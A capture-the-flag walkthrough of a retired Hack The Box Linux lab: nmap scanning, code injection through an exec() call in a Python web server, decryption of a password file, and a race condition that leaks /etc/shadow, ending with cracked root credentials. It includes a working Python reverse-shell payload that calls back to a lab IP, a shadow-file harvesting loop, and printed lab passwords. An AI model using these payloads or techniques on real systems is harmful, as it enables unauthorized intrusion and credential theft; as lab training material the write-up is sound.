A medium linux machine with some vulnerable Python scripts from HTB just retired with the following:
- Misconfigured vulnerable Python web server to RCE.
- Weak encryption algorithm to sign two messages, some text and the user password file.
- Vulnerable script to get the root password hash from the shadow file.
Enumeration
1. Nmap
As always let’s add
10.10.10.168
to our
/etc/hosts
file as
obscure.htb
and start scan the host with
nmap
to see the open ports and services running on the machine:
y4mm1@kali:~$ nmap -sC -sV -oN initial.nmap obscure.htb
# Nmap 7.80 scan initiated Tue Feb 11 02:43:04 2020 as: nmap -sC -sV -sT -oN initial.nmap obscure.htb
Nmap scan report for obscure.htb (10.10.10.168)
Host is up (0.084s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Date: Tue, 11 Feb 2020 00:43:17
| Server: BadHTTPServer
| Last-Modified: Tue, 11 Feb 2020 00:43:17
| Content-Length: 4171
| Content-Type: text/html
| Connection: Closed
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>0bscura</title>
| <meta http-equiv="X-UA-Compatible" content="IE=Edge">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta name="keywords" content="">
| <meta name="description" content="">
| <!--
| Easy Profile Template
| http://www.templatemo.com/tm-467-easy-profile
| <!-- stylesheet css -->
| <link rel="stylesheet" href="css/bootstrap.min.css">
| <link rel="stylesheet" href="css/font-awesome.min.css">
| <link rel="stylesheet" href="css/templatemo-blue.css">
| </head>
| <body data-spy="scroll" data-target=".navbar-collapse">
| <!-- preloader section -->
| <!--
| <div class="preloader">
|_ <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=2/11%Time=5E41F8A5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Tue,\x2011\x20Feb\x2020
SF:20\x2000:43:17\nServer:\x20BadHTTPServer\nLast-Modified:\x20Tue,\x2011\
SF:x20Feb\x202020\x2000:43:17\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Tue,\x2011\x20Feb\x202020\x2000:43:17\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Tue,\x2011\x20Feb\x202020\x2000:43:17\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 11 02:43:27 2020 -- 1 IP address (1 host up) scanned in 23.09 seconds
As we see there are 4 ports two of them are open
22
running OpenSSH 7.6p1 and it tells us the OS
version is Ubuntu, and
8080
running a http-proxy called BadHTTPServer with
some successful request headers, so let’s jumb into the browser
to see what is it.
2. Web Recon
It looks like a simple web page with some text and I noticed there is some contact info and an interesting message at the bottom of the page.
The message tells us there is some secret development directory
that contains the source code of the running server
SuperSecureServer.py
, so first thing came to my mind is to run any directory
brutceforcing tools like
gobuster
.
But this did not work, so I can remember from my experience in
software development the main source code is usually in some
sort of well known folders like
/src
,
/app
,
/bin
…etc, and as we saw from the message above a lot of
development
word. I tried some of sub-words of that name with the file and
it worked with
/develop/SuperSecureServer.py
.
Let’s download the file and see how the server source code loo like.
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
try:
print(str(request.method) + " " + str(request.doc), end=' ')
print("from {0}".format(address[0]))
except Exception as e:
print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum = document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum = "400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum = statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
print('\n' + info.format(path)+ '\n==\n')
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Simply, the given code contains three classes:
- Response class to handle parse the responses with the given data.
- Request class also to parse the incomming requests.
- Server class the actual listeining main server with some functions to handle the web requests and documents (pages).
After analysing the code, we noticed some interesting lines in Server class that may lead to get an RCE on the machine.
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
The function
serveDoc
takes two inputs
path
from the web page and
docRoot
the documents root folder on the box. Then, the
handleRequest
function takes three arguments
request
the incoming request,
conn
the client connection object, and
address
the host and port of the client. After that it calls the
serveDoc
function with the request path and document folder
DocRoot
.
After the
serveDoc
function takes the inputs, URL decode the
path
and it calls
exec
function with
output = 'Document: {path}'
. And we know that we can control the path variable from the
web page, so now first thing we should do is to test this in our
machine to understand how it works then try it in the remote
host.
Exploitation
I made two lines of code to connect to the server locally.
#!/usr/bin/env python3
from SuperSecureServer import Server
app = Server('localhost',9001)
app.listen()
Also let’s create some files (pages) to imitate the actual
server. Now, we should bypass the special char
'
then
try to excute some commands. It’s ok if you stuck at this point
for some time just to understand how to exploit it.
Firstly, let’s try some paths to test the server then jump into
the exploit. In the exploit we can add a single quote and a
semicolon to terminate the string, then add some
Python code to execute and a hash to comment
anything after that command as following
';print(5+5)#
, so let’s encode it and send it with
burp
.
I used Burp Suite to make the requests you can
use any tool you want.
Oh! that’s cool it executed the
print(5+5)
and it prints
10
to
the terminal. Now, let’s get some Python one
line reverse shell, put it instead of
print
,
and exploit the remote server.
Here’s our payload:
';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);#
And after executing the payload we gained a shell as
www-data
.
Privilege Escalation
1. Own User
In this part let’s dig deep into the system and search for any
things that seem important to escalate our privilege. In the
/home/robert
folder there are some interesting readable files.
www-data@obscure:/home/robert$ ls -al
total 68
drwxr-xr-x 7 robert robert 4096 May 9 08:07 .
drwxr-xr-x 3 root root 4096 Sep 24 2019 ..
lrwxrwxrwx 1 robert robert 9 Sep 28 2019 .bash_history -> /dev/null
-rw-r--r-- 1 robert robert 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 robert robert 3771 Apr 4 2018 .bashrc
drwxr-xr-x 2 root root 4096 Dec 2 09:47 BetterSSH
drwx------ 2 robert robert 4096 Oct 3 2019 .cache
-rw-rw-r-- 1 robert robert 94 Sep 26 2019 check.txt
drwxr-x--- 3 robert robert 4096 Dec 2 09:53 .config
drwx------ 3 robert robert 4096 Oct 3 2019 .gnupg
drwxrwxr-x 3 robert robert 4096 Oct 3 2019 .local
-rw-rw-r-- 1 robert robert 185 Oct 4 2019 out.txt
-rw-rw-r-- 1 robert robert 27 Oct 4 2019 passwordreminder.txt
-rw-r--r-- 1 robert robert 807 Apr 4 2018 .profile
-rwxrwxr-x 1 robert robert 2514 Oct 4 2019 SuperSecureCrypt.py
-rwx------ 1 robert robert 33 Sep 25 2019 user.txt
After copying the files using
netcat
into our machine. The first file
SuperSecureCrypt.py
a simple Python encryption script to encrypt
data with a given key.
#!/usr/bin/env python3
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "########################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "########################\n"
banner += " #####################\n"
banner += " # FILE MODE #\n"
banner += " #####################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
After looking at the code It’s just a simple ceaser cipher with a text key instead of a number.
The second file
check.txt
it’s a message that says:
Encrypting this file with your key should result in out.txt, make sure your key is correct!
The file
out.txt
is the encryption of
check.txt
, so simply we can retrieve the key be decoding the encrypted
data with the original text as a key. And after that, we can
decrypt the
passreminder.txt
file to get the user password.
I made a simple script to decrypt the file anf get the user password:
#!/usr/bin/env python3
with open('out.txt', 'r') as f:
out = f.read().strip()
with open('check.txt', 'r') as f:
check = f.read().strip()
with open('passreminder.txt', 'r') as f:
enc = f.read().strip()
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
key = decrypt(out, check)
print('[+] Key:',key)
password = decrypt(enc, key)
print('[+] Password:',password.strip())
After running the script we got some readable text and some garbage:
y4mm1@kali:~$ python3 crack.py
[+] Key: alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich<
[+] Password: SecThruObsFTW
And now we owned user
robert
:
www-data@obscure:/$ su robert
Password: SecThruObsFTW
robert@obscure:/$ cat ~/user.txt
e4493782
2. Own Root
After we got user there is another interesting readable file
/home/robert/BetterSSH/BetterSSH.py
owned by root.
#!/usr/bin/env python3
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
The above script just mimics the SSH connection
with the actual system users by reading the username and compare
the password with the actual one in the
/etc/shadow
file. If it’s true it gives a shell to the user, if it’s not it
aborts.
But, the deadly bug in the script is when it copies the contents
of the shadow file into a random file in
/tmp/SSH
directory and sleep
0.1s
,
then delete it. That’s so nice, we can take advantage of that by
trying to read the contents of the random file before the
deletion process and copy it into our machine.
There are many ways to exploit this bug one of them is to use
watch
command, but I prefer to write some code, so let’s write some
bash
script to print the contents of the random file in the terminal.
#!/bin/bash
DIR='/tmp/SSH'
while :
do
if ls -A $DIR/; then
cat $DIR/*
fi
done
And we got the root hash, let’s crack it with our friend
john
.
y4mm1@kali:~$ john root.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 XOP 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 3 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
mercedes (root)
1g 0:00:00:01 DONE 2/3 (2020-05-09 14:42) 0.6535g/s 962.0p/s 962.0c/s 962.0C/s crystal..porter
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And we owned root:
robert@obscure:~$ su root
Password: mercedes
root@obscure:/home/robert# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:/home/robert# cat ~/root.txt
512fd442